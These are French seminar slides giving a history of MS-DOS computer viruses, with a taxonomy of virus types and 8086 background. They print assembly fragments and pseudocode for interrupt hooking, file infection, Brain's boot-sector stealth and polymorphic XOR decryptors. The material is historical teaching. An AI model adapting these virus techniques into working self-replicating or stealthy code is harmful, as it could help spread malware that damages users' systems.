Voyage à travers les virus MS-DOS



Documents pareils
Ordinateurs, Structure et Applications

Instructions pour mettre à jour un HFFv2 v1.x.yy v2.0.00

Tutoriel de formation SurveyMonkey

Contents Windows

Guide d'installation rapide TFM-560X YO.13

Ordinateurs, Structure et Applications

Guide d'installation et de configuration de Pervasive.SQL 7 dans un environnement réseau Microsoft Windows NT

Logitech Tablet Keyboard for Windows 8, Windows RT and Android 3.0+ Setup Guide Guide d installation

PARAGON Disk Wiper. Guide de l utilisateur. Paragon Technology GmbH, System Programmierung. Copyright Paragon Technology GmbH

Architecture des ordinateurs

Instructions Mozilla Thunderbird Page 1

Guide de mise à niveau pas à pas vers Windows 8 CONFIDENTIEL 1/53

Guide pour l Installation des Disques Durs SATA et la Configuration RAID

DOCUMENTATION - FRANCAIS... 2

lundi 3 août 2009 Choose your language What is Document Connection for Mac? Communautés Numériques L informatique à la portée du Grand Public

Rappels d architecture

WEB page builder and server for SCADA applications usable from a WEB navigator

Quick Start Guide This guide is intended to get you started with Rational ClearCase or Rational ClearCase MultiSite.

Assembleur i8086. Philippe Preux IUT Informatique du Littoral. Année universitaire 95 96

Guide pour l Installation des Disques Durs SATA et Configuration RAID

Principe de fonctionnement des périphériques des ordinateurs en vue de la programmation. Patrick Cégielski

Installation d'un TSE (Terminal Serveur Edition)

DOCUMENTATION - FRANCAIS... 2

Notice Technique / Technical Manual

Utiliser une WebCam. Micro-ordinateurs, informations, idées, trucs et astuces

Windows 7, Configuration

DOCUMENTATION MODULE BLOCKCATEGORIESCUSTOM Module crée par Prestacrea - Version : 2.0

Manuel de l utilitaire Computer Setup (F10) HP Compaq Business Desktops Modèles d220 et d230

Compléter le formulaire «Demande de participation» et l envoyer aux bureaux de SGC* à l adresse suivante :

calls.paris-neuroscience.fr Tutoriel pour Candidatures en ligne *** Online Applications Tutorial

Guide d installation logicielle

Principe de TrueCrypt. Créer un volume pour TrueCrypt

Paxton. ins Net2 desktop reader USB

Jean-Pierre Lovinfosse. En finir. avec les virus. Groupe Eyrolles,2004 ISBN

Fiche Technique. Cisco Security Agent

CSI351 Systèmes d exploitation Instructions pour rouler Linux avec Virtual PC dans la salle de labo 2052

Surveillance de Scripts LUA et de réception d EVENT. avec LoriotPro Extended & Broadcast Edition

Restaurant Application Quick Reference Guide

Certificat Informatique et internet Niveau 1 TD D1. Domaine 1 : Travailler dans un environnement numérique évolutif. 1. Généralités : Filière

Retrouver de vieux programmes et jouer sur VirtualBox

Pratiques induites par les réunions à distance : discours, identités et organisation des actions

Les GPO 2012 server R2 (appliqués à Terminal Serveur Edition)

WiFi Security Camera Quick Start Guide. Guide de départ rapide Caméra de surveillance Wi-Fi (P5)

HAUTE DISPONIBILITÉ DE MACHINE VIRTUELLE AVEC HYPER-V 2012 R2 PARTIE CONFIGURATION OPENVPN SUR PFSENSE

Package Contents. System Requirements. Before You Begin

Installation de Vmware serveur Windows

Utiliser un proxy sous linux

DU BINAIRE AU MICROPROCESSEUR - D ANGELIS CIRCUITS CONFIGURABLES NOTION DE PROGRAMMATION

Application Form/ Formulaire de demande

Get Instant Access to ebook Cest Maintenant PDF at Our Huge Library CEST MAINTENANT PDF. ==> Download: CEST MAINTENANT PDF

1 Configuration des Fichiers Hosts, Hostname, Resolv.conf

Déploiement OOo en environnement Windows Terminal Server

NTP (Network Time Protocol)

Structure d un programme

Summary / Sommaire. 1 Install DRIVER SR2 USB01 Windows seven 64 bits / Installation du DRIVER SR2 USB01 Windows seven 64 bits 2

HSCS 6.4 : mieux appréhender la gestion du stockage en environnement VMware et service de fichiers HNAS Laurent Bartoletti Product Marketing Manager

et Active Directory Ajout, modification et suppression de comptes, extraction d adresses pour les listes de diffusion

RÈGLE N 1 : SAUVEGARDEZ VOS DONNÉES

BAP E Gestionnaire de parc informatique et télécommunications MI2 / MI3 Ouverts au titre de 2010 Arrêté du 7/04/10 - J.

Prise en main. Norton Ghost Pour trouver des informations supplémentaires. A propos de Norton Ghost

TABLE DES MATIERES A OBJET PROCEDURE DE CONNEXION

Déploiement de SAS Foundation

MELTING POTES, LA SECTION INTERNATIONALE DU BELLASSO (Association étudiante de lʼensaparis-belleville) PRESENTE :

Paris Airports - Web API Airports Path finding

et dépannage de PC Configuration Sophie Lange Guide de formation avec exercices pratiques Préparation à la certification A+

Lutter contre les virus et les attaques... 15

Systèmes d Exploitation - ENSIN6U3. Aix-Marseille Université

RAPID Prenez le contrôle sur vos données

OUTIL DE TRAVAIL COLLABORATIF

Appointment or Deployment of Alternates Regulations. Règlement sur la nomination ou la mutation de remplaçants CONSOLIDATION CODIFICATION

VMware ESX/ESXi. 1. Les composants d ESX. VMware ESX4 est le cœur de l infrastructure vsphere 4.

1 Description du phénomène. 2 Mode de diffusion effets dommageables

MANUEL MARKETING ET SURVIE PDF

Windows XP niveau 2. D. Hourquin, Médiapôle St Ouen l'aumône

How to Login to Career Page

Contrôle d'accès Access control. Notice technique / Technical Manual

Configurer la supervision pour une base MS SQL Server Viadéis Services

3615 SELFIE. HOW-TO / GUIDE D'UTILISATION

SUGARCRM Sugar Open Source Guide d Installation de French SugarCRM Open Source Version 4.2

Guide de récupération de Windows Server 2003 R2 pour serveurs Sun x64

VTP. LAN Switching and Wireless Chapitre 4

CEST POUR MIEUX PLACER MES PDF

ONTARIO Court File Number. Form 17E: Trial Management Conference Brief. Date of trial management conference. Name of party filing this brief

AGROBASE : un système de gestion de données expérimentales

Once the installation is complete, you can delete the temporary Zip files..

Gestion des prestations Volontaire

Exercices sur SQL server 2000

Bootkit REvisited. Samuel Chevet Sogeti ESEC

Cheque Holding Policy Disclosure (Banks) Regulations. Règlement sur la communication de la politique de retenue de chèques (banques) CONSOLIDATION

Installer un domaine DNS

Netdays Comprendre et prévenir les risques liés aux codes malicieux

SERVEUR DÉDIÉ DOCUMENTATION

Fonctionnement de Windows XP Mode avec Windows Virtual PC

Systèmes d exploitation

GIGABIT PCI DESKTOP ADAPTER DGE-530T. Quick Installation Guide+ Guide d installation+

escan Entreprise Edititon Specialist Computer Distribution

APPENDIX 2. Provisions to be included in the contract between the Provider and the. Holder

Le passé composé. C'est le passé! Tout ça c'est du passé! That's the past! All that's in the past!

NetBak Replicator 4.0 Manuel de l utilisateur Version 1.0

Transcription:

Voyage à travers les virus MS-DOS Damiano Mazza CNRS, UMR 7030, Laboratoire d Informatique de Paris Nord Université Paris 13, Sorbonne Paris Cité Séminaire Codes Sources Paris, 19 mars 2015

La Préhistoire 1974 : Intel 8080 + Digital Research CP/M 1978 : Intel 8086 1981 : Microsoft PC-DOS 1.0 (FAT 12) 1983 : PC-DOS 2.0 (disques durs, répertoires) 1986 : Brain (premier virus pour DOS) 1987 : PC-DOS 3.3 (disquettes 1.44Mo) 1987 : Jerusalem (fichiers EXE), Stoned (secteur démarrage) 1988 : Cascade (crypté) 1989 : Eddie (infection sur ouverture), Frodo (furtif)

L Age d Or 1990 : Chameleon (polymorphe), Flip (multipartite), Micro-128 1991 : MS-DOS 5.0, l industrie des anti-virus décolle 1991 : Tequila (stealth, polymorphe, armored, multipartite) 1992 : Mutation Engine (polygen), Michelangelo (très médiatisé) 1993 : MS-DOS 6.0, utilisé par 75% des PC dans le monde 1993 : Tremor, Uruguay, Neuroquila (parmi les plus sophistiqués) 1994 : le nombre de virus MS-DOS est estimé entre 4500 et 7500 1995 : Windows 95

Zoologie des virus Modalités de fonctionnement : resident / non-resident. Modalités d infection : boot sector : infecte le secteur de démarrage des disques ; file infector : infecte les fichiers exécutables ; multipartite : capable des deux types d infection. Caractéristiques particulières : stealth : essaie de cacher sa présence ; polymorphic : change à chaque réplication ( mutant ) ; armoured : emploie des techniques d obfuscation ; anti-anti-virus : attaque les logiciels anti-virus.

Resident vs. non-resident Exécution typique d un virus non-résident : 1. recherche de nouveux hôtes et infection ; 2. passage de contrôle à l hôte et terminaison de l action virale. Exécution typique d un virus résident : 1. test de résidence ; si négatif, installation en mémoire ; 2. passage de contrôle à l hôte ; le virus reste actif en mémoire et monitore l activité de l ordinateur. Il peut ainsi : trouver et infecter des nouveaux hôtes ; réaliser des fonctionnalités stealth ou anti-anti-virales. Les virus non-résidents ont un comportement très simple et leur capacité de diffusion est moindre. Leur intérêt est donc limité.

Un peu d architecture 8086 Architecture de base à 16 bit, adressage à 20 bit : mémoire limitée à 2 20 = 1Mo. C est la mémoire conventionnelle de MS-DOS. Segmentation pour compatibilité avec 8080 (64Ko de mémoire) : segm:offs adresse absolue = segm 10h + offs Registres (16 bit, c.-à-d. 2 octets) : AX,BX,CX,DX génériques (X = H+L, 8 + 8 bit) SI,DI index : source, destination IP,BP,SP pointeurs : instruction, base, stack CS,DS,ES,SS segment : code, data, extra, stack status flags : carry, zero, direction, interrupt...

Interruption L architecture x86 prévoit des software interrupts : int N où N est un nombre entre 00h et FFh (0 et 255 en hexadécimal). Les addresses des services d interruption se trouvent dans un tableau (IVT) aillant de 0000:0000 à 0000:03FFh (4 octets par interrupt). Ces services accèdent aux péripheriques et aux fichiers : N service 10h vidéo (BIOS) 13h accès aux disques (BIOS) 21h appels système (MS-DOS)

Interrupt hooking IVT MS-DOS int 21h La ligne 21h de l IVT normalement contient l adresse des services de base de MS-DOS.

Interrupt hooking IVT MS-DOS int 21h resident virus La ligne 21h de l IVT normalement contient l adresse des services de base de MS-DOS. En modifiant l IVT, un virus peut intercepter tous les appels qui lui intéressent et, une fois terminée son action, rédiriger l appel à MS-DOS.

Interrupt hooking Hook_Int_21: xor ax,ax mov es,ax ; ES = 0 mov ax,offset Int_21_Handler ; AX = Handler Offset mov bx,cs ; BX = Handler Segment cli ; clear interrupts xchg ax,word ptr es:[84h] ; set AX = old handler offset ; and set new offset. xchg bx,word ptr es:[86h] ; set BX = old handler segment ; and set new segment. mov word ptr [Int_21_Offset],ax mov word ptr [Int_21_Segment],bx sti ; restore interrupts mov dx,vsize int 27h ; terminate and stay resident Int_21_Handler: cmp ah,4bh ; Check for activation

Interrupt hooking je execute_a_program cmp ah,3dh je open_a_file ; conditions by looking ; at the function numbers ; of Int 21 that you wish ; to intercept. Make sure ; to save any registers that ; you change inside the ; various handlers!!! Go_Int_21: db EAh ; This simulates a far jump Int_21_Offset dw? ; to the old interrupt handler. Int_21_Segment dw? ; (EAh is code for a far jmp.)

Virus de type boot sector Le secteur de démarrage est le premier secteur du disque. Il ne comporte que 512 octets (comme tous les secteurs). Exécuté après le BIOS au démarrage de la machine, il charge en mémoire les fichiers du système d exploitation et il leur passe le contrôle. Idée : le virus substitue son code au secteur de démarrage, en gardant ailleurs une copie de l original. Le virus prend ainsi le contrôle avant tout autre logiciel (en particulier anti-virus). Il infecte toute disquette insérée dans le lecteur. Transmission efficace : les virus les plus répandus étaient de ce type. Toutefois, moins virulents avec le déclin du démarrage par disquette.

File infectors Deux types de fichiers exécutables sous MS-DOS : COM : rétrocompatibilité avec CP/M, taille limitée à 64Ko ; infection simple mais peu d hôtes (e.g. COMMAND.COM) ; EXE : segments multiples (code, données, pile), taille arbitraire ; infection plus complexe mais beaucoup plus d hôtes potentiels. Idée : si un fichier contaminé est lancé par l utilisateur, le virus s installe en mémoire. Ensuite, il intercepte les appels à l INT 21h et infecte les fichiers exécutables lorsque : ils sont exécutés par l utilisateur ; ils sont listés (e.g. commande dir) ; ils sont ouverts (e.g. contrôle anti-virus). Moins efficace que boot sector, mais possibilité de diffusion d une machine à l autre sans démarrage disquette.

File infectors Structure typique : start: goto loader *** host code (first bytes overwritten by goto instruction) *** loader: done: are-you-there? if yes, goto done make room in memory for virus code (perhaps use this same copy) hook interrupts (typically INT 21h) make sure virus code will stay resident restore host code goto start handler: this will be executed whenever a hooked interrupt is invoked typically INT 21h function 4Bh (execute file): open file; is it infected? if yes, goto jmpout append virus code (taken from memory) to file and modify entry point (saving original for restoring it later); close file jmpout: goto old interrupt handler

Brain (1986) Premier virus MS-DOS, écrit par deux frères pakistanais. Resident boot sector mais seulement disquettes. Taille : environ 3Ko. Brain sauvegarde le secteur de démarrage original et le marque comme bad (ainsi que le reste du corps du virus). Il ne fait rien à part changer l étiquette de la disquette en (c)brain. La copie du secteur original permet une fonctionnalité stealth : int13h: ;... intercept floppy drive read request (AH = 02h, bit 7 of DL!= 1) fdread: cmp cx,1 ; cylinder 0, sector 1? jne old13h ; if not, proceed as usual cmp dh,0h ; head 0? jne old13h ; if not, proceed as usual mov cx,7 ; redirect to sector 7 pushf ; save flags to simulate int instruction call dword ptr cs:[old13h] ; invoke old INT 13h mov cx,1 ; restore CX not to arise suspicion retf 2 ; simulate iret instruction ;... rest of the handler... old13h: jmp dword ptr cs:[old13h] ; jump to old INT 13h

Stoned (1987) Écrit (paraît-il) par un étudiant néozelandais. Resident boot sector, infecte aussi les disques durs. C est le virus le plus réussi de l époque pré-internet. En 1992, on estime que près de 25% des infections sont des variantes de Stoned. La variante originale n est pas malveillante : test bite ptr es:[timer],7 ; message displayed 1 in 8 times jnz MSG_DONE ; lucky, no message mov si,offset STONED_MSG1 ; play the message push cs pop ds ; DS = CS MSG_LOOP: lodsb ; get a byte to AL or al,al ; AL=0? je MSG_DONE ; yes, all done mov ah,0eh ; display byte using BIOS mov bh,0 int 10h jmp MSG_LOOP ; and go get another MSG_DONE: ;... remainder of boot sector code STONED_MSG1 db 7,"Your PC is now Stoned!",7,0dh,0ah,0 STONED_MSG2 db "LEGALIZE MARIJUANA!" Variante destructive : le 6 mars (1992), Michelangelo efface les 100 premiers secteurs du disque C.

Micro-128 ( 1990) C était le plus petit infecteur de fichiers COM résident en mémoire connu : il ne fait que 128 octets de taille (moins qu un Tweet!). Pour achever une telle minimalité, il est très rusé : méthode atypique de résidence en mémoire (s installe dans l espace inutilisé de l IVT) ; les instructions sont soigneusement choisies pour être les plus petites réalisant la tâche souhaitée ; certains morceaux de code ont 2, voire 3 fonctionnalités. Cela vient à un prix : instabilité potentielle (on touche à l IVT) ; le virus n infecte que les fichiers COM ; aucun test d infection : le virus re-infecte les fichiers infectés ; aucune capacité de dissimulation (stealth, polymorphisme... ).

Un avant-goût de polymorphisme Un exemple simple de déchiffreur : ; Group 1 Prolog Instructions mov ax,0e9b ; set key 1 mov di,012a ; offset of Start mov cx,0571 ; this many bytes - key 2 ; Group 2 Decryption Instructions Decrypt: xor [di],cx ; decrypt first word with key 2 xor [di],ax ; decrypt first word with key 1 ; Group 3 Decryption Instructions inc di ; next byte inc ax ; slide key 1 loop Decrypt ; until all bytes are decrypted slide key 2 Start: ; Encrypted/decrypted virus body Insertion d instructions aléatoires inutiles : forme de polymorphisme.

Un avant-goût de polymorphisme Déchiffreur possible de Chameleon (infecteur EXE non-résident, 1990) : ; Group 1 Prolog Instructions inc si ; optional, variable junk mov ax,0e9b ; set key 1 clc ; optional, variable junk mov di,012a ; offset of Start nop ; optional, variable junk mov cx,0571 ; this many bytes - key 2 ; Group 2 Decryption Instructions Decrypt: xor [di],cx ; decrypt first word with key 2 sub bx,dx ; optional, variable junk xor bx,cx ; optional, variable junk sub bx,ax ; optional, variable junk sub bx,cx ; optional, variable junk nop ; non-optional junk xor dx,cx ; optional, variable junk xor [di],ax ; decrypt first word with key 1

; Group 3 Decryption Instructions inc di ; next byte nop ; non-optional junk clc ; optional, variable junk inc ax ; slide key 1 ; loop loop Decrypt ; until all bytes are decrypted slide key 2 ; random padding up to 39 bytes Start: ; Encrypted/decrypted virus body